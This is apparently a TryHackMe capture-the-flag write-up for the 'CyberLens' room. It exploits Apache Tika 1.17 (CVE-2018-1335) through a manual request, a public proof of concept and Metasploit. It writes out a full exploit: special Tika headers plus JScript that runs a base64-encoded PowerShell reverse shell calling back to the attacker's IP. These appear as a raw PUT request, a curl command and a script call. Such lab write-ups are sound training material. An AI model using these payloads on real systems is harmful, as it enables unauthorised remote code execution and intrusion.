> For the complete documentation index, see [llms.txt](https://manav-g-krishna.gitbook.io/tryhackme-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://manav-g-krishna.gitbook.io/tryhackme-writeups/cyberlens.md).

# CyberLens

Can you exploit the CyberLens web server and discover the hidden flags?

{% embed url="<https://tryhackme.com/r/room/cyberlensp6>" %}
Room Link
{% endembed %}

This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1) <img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FUY4cMxPmQvurUJvFK7lb%2Fimage.png?alt=media&amp;token=c99dbcac-cdcc-465b-8ffd-2cd3fac6464a" alt="" data-size="line"><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FSznbBRdyt8wY71fXA2mM%2Fimage.png?alt=media&amp;token=71248350-0b93-4df1-af98-d491ab7e6e4a" alt="" data-size="line">

**`Machine IP`**: 10.10.131.149

**`Nmap Scan`**:&#x20;

```python
nmap -p- -v 10.10.131.149 --min-rate 100 -oN cyberlens_thm -Pn 

Nmap scan report for cyberlens.thm (10.10.131.149)
Host is up (0.15s latency).
Not shown: 65518 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Apache httpd 2.4.57 ((Win64))
|_http-title: CyberLens: Unveiling the Hidden Matrix
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.57 (Win64)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-05-18T05:18:41+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=CyberLens
| Issuer: commonName=CyberLens
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-17T05:04:27
| Not valid after:  2024-11-16T05:04:27
| MD5:   0a8f:0621:514f:c425:d6c1:c704:82bf:3dbb
|_SHA-1: 9cc8:94c9:73db:50dc:215f:e168:4e54:f1d9:9554:9106
| rdp-ntlm-info: 
|   Target_Name: CYBERLENS
|   NetBIOS_Domain_Name: CYBERLENS
|   NetBIOS_Computer_Name: CYBERLENS
|   DNS_Domain_Name: CyberLens
|   DNS_Computer_Name: CyberLens
|   Product_Version: 10.0.17763
|_  System_Time: 2024-05-18T05:18:33+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
61777/tcp open  http          Jetty 8.y.z-SNAPSHOT
| http-methods: 
|   Supported Methods: POST GET PUT OPTIONS HEAD
|_  Potentially risky methods: PUT
|_http-title: Welcome to the Apache Tika 1.17 Server
|_http-cors: HEAD GET
|_http-server-header: Jetty(8.y.z-SNAPSHOT)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=5/18%OT=80%CT=1%CU=30699%PV=Y%DS=2%DC=T%G=Y%TM=6648
OS:3A2F%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=104%TI=I%CI=I%II=I%SS=S%
OS:TS=U)SEQ(SP=104%GCD=1%ISR=105%TI=I%CI=I%TS=U)SEQ(SP=104%GCD=1%ISR=105%TI
OS:=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=105%GCD=2%ISR=106%TI=I%CI=I%II=I%SS=S%TS=U
OS:)OPS(O1=M508NW8NNS%O2=M508NW8NNS%O3=M508NW8%O4=M508NW8NNS%O5=M508NW8NNS%
OS:O6=M508NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%D
OS:F=Y%T=80%W=FFFF%O=M508NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=
OS:Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y
OS:%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R
OS:%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=
OS:80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z
OS:)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-05-18T05:18:36
|_  start_date: N/A

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   148.60 ms 10.11.0.1
2   149.53 ms cyberlens.thm (10.10.131.149)

```

Let us add **`cyberlens.thm`** to the **`hosts`** file as mentioned in the description of the room.

**`Command`**:

```python
sudo echo '10.10.131.149 cyberlens.thm' >> /etc/hosts
```

Instead of waiting for the scan to complete fully, we can navigate to the website on port **`80`**. As the **`verbose`** switch is being used in the **`Nmap`** command, we will straight away be able to see the ports as and when it is found.

**`Checking out Port 80`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FquXWUHDaeLpTJTbhwxfy%2Fimage.png?alt=media&amp;token=589ae9bc-fc3f-43f2-bfd9-8858616b9877" alt=""><figcaption></figcaption></figure>

We can see what **`Wappalyzer`** tells us:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F5kZwU8A2ZquhcMpqp6XU%2Fimage.png?alt=media&amp;token=61fdec8f-bef3-4b45-ad3e-4e0ddf8c1130" alt=""><figcaption></figcaption></figure></div>

The web server running is **`Apache 2.4.57`**.

We have a **`contact form`** here:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FYzgCvDQpjsm9qCzO9Hdi%2Fimage.png?alt=media&amp;token=3df9c71b-71f8-45b0-be7d-994a034dfe30" alt=""><figcaption></figcaption></figure>

**`Testing out a basic XSS Payload`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F4tT2klOSOOo6OPwQ5kqX%2Fimage.png?alt=media&amp;token=f110de5a-6b1e-4bda-b015-0574c030424c" alt=""><figcaption></figcaption></figure>

Now let's set up a **`netcat`** listener on port **`80`**. If the above payload works we should be getting a connection back on our listener which basically shows that the server has reached out to our machine. The **`IP`** specified in the payload is the **`tun0`** interface **`IP`**.

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FlXrj0xafMBbfQznnCTB5%2Fimage.png?alt=media&amp;token=27d69cf5-e0d5-432c-beec-dde69e8913d8" alt=""><figcaption></figcaption></figure></div>

But unfortunately we don't get any connection on the listener.

Nothing out of the blue was found while **`directory busting`**. No results were yielded from **`VHOST busting`**.

There is a feature on the site called, **`CyberLens Image Extractor`** :

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FdFQdgOKtsb4TvSpHay7q%2Fimage.png?alt=media&amp;token=aa7d3368-85d6-47e0-ab97-3c35ad923a5a" alt=""><figcaption></figcaption></figure>

Basically we can **`upload`** files and the  feature fetches the **`metadata`** present within those files. Metadata is the **`hidden data`** that accompanies every image, video, and file you encounter.&#x20;

**`Checking out this feature by intercepting the request in BurpSuite`**:

After turning on the intercept in **`Burp`** we just  have to upload a file and click on the **`Get Metadata`** button and the request will get captured in **`Burp`** :

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F4Mvvt3BqjpQUi4hIE26K%2Fimage.png?alt=media&amp;token=bc291550-90dc-481b-88c6-4787a7a107f3" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FP7sIEd3TYDUormg1uOwG%2Fimage.png?alt=media&amp;token=500ca4ac-0a4b-4240-a4b5-c3bb0f938fd4" alt=""><figcaption></figcaption></figure></div>

**`Forward`** the above request and we will be on the one that we need:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FNhCJpCb9RJbASurdEERa%2Fimage.png?alt=media&amp;token=727a1833-55ec-4e9d-b4cc-3646c240117b" alt=""><figcaption></figcaption></figure>

This shows that  the **`metadata extraction`** takes place on port **`61777`**. We can now check out the **`Nmap`** scan that would have completed fully by now and can also check out the website on that port:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F0Cz03FDelao9HpkOnPbt%2Fimage.png?alt=media&amp;token=86c69d4d-02ba-4dd3-8d86-ae2f5eb12f27" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Ff7UcmEQifzXAGATUqgAL%2Fimage.png?alt=media&amp;token=2f29ed08-ea82-4214-9c3d-eca8f04a810e" alt=""><figcaption></figcaption></figure></div>

We can see that it is using **`Apache Tika 1.17`**. It is an open-source software library that detects and **`extracts metadata`** and **`structured text`** from a **`variety`** of file formats. This is what is being used to fetch the **`metadata`** from the files that we upload in the **`CyberLens Image Extractor`** feature.

We can confirm the same by looking at the **`metadata`** it extracts, mainly checking out the **`Parsing headers`**, have uploaded a pdf file this time:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fe5Eozed1Egh5dPGhfJsH%2Fimage.png?alt=media&amp;token=a12cd37f-7046-4f08-af10-69bb66544beb" alt=""><figcaption></figcaption></figure></div>

And also the endpoint as seen from the request is **`/meta`** and this is where our request post clicking on **`Get Metadata`** is being sent to, data is being **`PUT`** to the server:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FXLcsuxoUVlrXBcPQh01l%2Fimage.png?alt=media&amp;token=2fbf7e14-2e1e-4497-befe-38e096ca471b" alt=""><figcaption></figcaption></figure></div>

Now that we fully know what exactly is happening, we can try to find out exploits for - **`Apache Tika 1.17`** and this leads us to **`CVE-2018-1335`**.

**`CVE-2018-1335 - Command Injection in Apache Tika`**:

{% embed url="<https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/>" %}
CVE-2018-1335
{% endembed %}

**`Note`**:

I will be showing **`3`** ways to get the **`foothold`** by exploiting the above mentioned **`CVE`**. First way being doing it **`manually`**, second way via the **`POC (python script)`** and the final way via **`Metasploit`**.&#x20;

**`Manual Exploitation to get a Reverse Shell`**:

Towards the end of the above attached blog, we find this:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FpAlxwS6e0XYjlEoyLGoN%2Fimage.png?alt=media&amp;token=7cfa3d68-aaa9-44b8-9a33-7581b54727eb" alt=""><figcaption></figcaption></figure>

Based on this, we have to include a a few **`headers`** , change the content-type and also have to add the **`JS`** code in the body of the request.

```javascript
var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c calc.exe');
```

Apparently what these two **`JS`** lines are doing is, firstly it is creating a **`WScript.Shell object`**, which provides access to **`Windows shell`** functionalities. **`WScript`** is used to interpret and execute scripts written in scripting languages such as **`VBScript`** and **`JScript`** and secondly  this object is being used to run the command **`cmd /c calc.exe`**, which opens up **`Calculator`** of the target machine.

The command can be modified by us to get a **`reverse shell`** instead.

**`Base64 Encoded PS Reverse Shell`**:

{% embed url="<https://www.revshells.com/>" %}

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FswgNSMipjEoL1Io1pAGF%2Fimage.png?alt=media&amp;token=03dcd95d-18db-471e-9654-8131e796a61e" alt=""><figcaption></figcaption></figure>

Setting up a listener on port **`445`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FJHpiR5XfrvUcICmGnf7n%2Fimage.png?alt=media&amp;token=531adc6e-f9f7-4dae-99a8-94df0c6917a1" alt=""><figcaption></figcaption></figure></div>

**`Final Request`**:

The extra **`headers`** include:

```python
X-Tika-OCRTesseractPath: "cscript"
X-Tika-OCRLanguage: //E:Jscript
```

And also the **`Content-Type`** has to be changed to **`image/jp2`**.

The request **`body`**:

```python
var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAxAC4ANwA1AC4AOAA0ACIALAA0ADQANQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=');
```

```python
PUT /meta HTTP/1.1
Host: cyberlens.thm:61777
Content-Type: image/jp2
X-Tika-OCRTesseractPath: "cscript"
X-Tika-OCRLanguage: //E:Jscript

var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAxAC4ANwA1AC4AOAA0ACIALAA0ADQANQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=');
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FCZbLHhNpGoi4cHY7JdNI%2Fimage.png?alt=media&amp;token=321f0490-d264-4807-9d12-577f0b0b4101" alt=""><figcaption></figcaption></figure>

The same can be done through **`curl`** too:

**`Command`**:&#x20;

```python
curl -X PUT http://cyberlens.thm:61777/meta \
     -H "Content-Type: image/jp2" \
     -H 'X-Tika-OCRTesseractPath: "cscript"' \
     -H 'X-Tika-OCRLanguage: //E:Jscript' \
     --data '
var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('\''cmd /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAxAC4ANwA1AC4AOAA0ACIALAA0ADQANQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA='\'');
'
```

We just send the request and we can check out the listener:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FlSlpOmBJDPocxgMnJJr3%2Fimage.png?alt=media&amp;token=99b191d5-841e-48e2-89d5-07a0c1b501ac" alt=""><figcaption></figcaption></figure></div>

Now we have successfully got a shell as the user **`cyberlens`** and we can get the user flag in this user's **`Desktop`** folder.

**`Using POC to get a Reverse Shell`**:

{% embed url="<https://github.com/RhinoSecurityLabs/CVEs/blob/master/CVE-2018-1335/CVE-2018-1335.py>" %}

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fz0FO7cYBp3uq7rRcdDDl%2Fimage.png?alt=media&amp;token=87fc9f0b-ab0f-485e-a8d9-44365099f4b4" alt=""><figcaption></figcaption></figure></div>

**`Command`**:

```python
python3 exploit.py cyberlens.thm 61777 'cmd /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAxAC4ANwA1AC4AOAA0ACIALAA0ADQANQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA='
```

The **`Base64 Encoded PS Payload`** is what is being used here too.

We have now got the shell:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FVQYcq7PiCDWkQCmWawl4%2Fimage.png?alt=media&amp;token=685457fa-4d7b-425d-ae51-47a57d89cb44" alt=""><figcaption></figcaption></figure></div>

**`Using Metasploit`**:

**`Command`**:

```python
msfconsole -q  //This starts metasploit in quite mode, that is it doesn't print out the banner
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FG3eGmvhJdE0VTn0HmI4C%2Fimage.png?alt=media&amp;token=bbf8c99a-5374-4629-9f97-f7f5a252a64f" alt=""><figcaption></figcaption></figure>

Setting the **`options`**:

Running **`systeminfo`** from the shell that we previously got from the above mentioned ways, gives us the type:

**`Command`**:

```python
systeminfo | findstr /B /C:"System Type"
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FaznxLdYL0Txkv2KRGSDP%2Fimage.png?alt=media&amp;token=15155757-a6b0-43da-80b3-fd5647da6717" alt=""><figcaption></figcaption></figure></div>

It is a **`64-bit`** machine. So while setting the payload option we would have to set a **`64-bit`** payload.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fon8vZuQprBqCkPDg4Uge%2Fimage.png?alt=media&amp;token=cddc3940-c9b0-4b95-b76c-f6ede5490394" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FQmzpRDScf8aNiAjxH06Q%2Fimage.png?alt=media&amp;token=70afdaa4-2097-474d-9a83-73f74cca6d5f" alt=""><figcaption></figcaption></figure>

Now we just **`run`** the exploit:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FH8krMfJhCk13umn5Z5Az%2Fimage.png?alt=media&amp;token=34ec7288-61f6-432d-ab7a-a9777ccaba9f" alt=""><figcaption></figcaption></figure>

Yet again, we have a shell.&#x20;

